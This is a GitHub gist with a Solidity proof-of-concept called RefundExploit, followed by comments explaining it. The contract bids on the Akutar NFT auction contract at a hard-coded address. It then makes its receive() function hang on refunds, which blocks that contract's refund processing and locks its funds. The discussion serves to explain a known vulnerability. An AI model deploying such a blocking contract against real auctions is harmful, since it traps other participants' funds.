Skip to content

Instantly share code, notes, and snippets.

@except
Created April 22, 2022 22:05
Show Gist options
  • Star 7 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save except/2ece3e40b72d0bf0cbd1107aa5d06926 to your computer and use it in GitHub Desktop.
Save except/2ece3e40b72d0bf0cbd1107aa5d06926 to your computer and use it in GitHub Desktop.
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.13;
contract RefundExploit {
bool blocked;
function bid() external payable {
require(msg.sender == 0x0000000000000000000000000000000000000001);
IAku aku = IAku(0xF42c318dbfBaab0EEE040279C6a2588Fa01a961d);
aku.bid{value: msg.value}(1);
blocked = true;
}
receive() external payable {
if (blocked) {
while (true) {}
} else {
(bool success, ) = 0x0000000000000000000000000000000000000001.call{
value: msg.value
}("");
require(success);
}
}
function setBlocked(bool _blocked) external {
require(msg.sender == 0x0000000000000000000000000000000000000001);
blocked = _blocked;
}
}
interface IAku {
function bid(uint8) external payable;
}
@except
Copy link
Author

except commented Apr 23, 2022

Yep, only if your address equals 0x0000000000000000000000000000000000000001, you can interact with it.

@jesusxy
Copy link

jesusxy commented Apr 23, 2022

@except thanks for taking the time and answering. I literally came on here today to ask the same question as @tahinETH

@saswatanand
Copy link

saswatanand commented Apr 24, 2022

I am intrigued by the receive method. On the true branch, I think the purpose of infinite loop is use up the gas and cause IAku's refund function (i.e., the caller) to fail. But I wonder what is the point of sending the refund amount to itself. Does it not create an infinite loop as well?

@except
Copy link
Author

except commented Apr 24, 2022

I am intrigued by the receive method. On the true branch, I think the purpose of infinite loop is use up the gas and cause IAku's refund function (i.e., the caller) to fail. But I wonder what is the point of sending the refund amount to itself. Does it not create an infinite loop as well?

The exploit does not need the while (true) {} to function as required, it could just revert() which would cause the parent processRefunds() function in the Akutar contract to fail which causes this whole drama.

The address which its sending to is supposed to be the owner of the contract, not the contract itself. It's just a placeholder in this example.

@tea2x
Copy link

tea2x commented Apr 28, 2022

excuse me, I'm new.

I still don't understand.

Why is hacker able to lock Aku contract using his own bool blocked; in his contract?

If the fallback fails, then the entire TX(hacker->RefundExploit::bid()->AkuNFT::bid()-> RefundExploit::receive()) will fail...
This does not change any thing inside the Aku contract right?

This can't even prevent others from calling bid() or processRefund(). Because the transaction involved with hacker's function was reverted, nothing affected to the Aku's contract states.

I'm saying bool blocked; can not lock Aku's contract from functioning!
I'm I correct? Or did I miss something?

@jesusxy
Copy link

jesusxy commented May 2, 2022

@Tung40194 The attackers objective is not to lock the Aku contract and stop others from interacting with it.

Like @except said in his previous comment, when the receivable fallback fails if(blocked) { revert() } it stops the chain of refunds from continuing in the parent processRefunds() function. Which causes refunds and withdrawals to be stuck/locked.

@tea2x
Copy link

tea2x commented May 17, 2022

@jesusxy Thank you. I got it...I got misled by other analysis.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment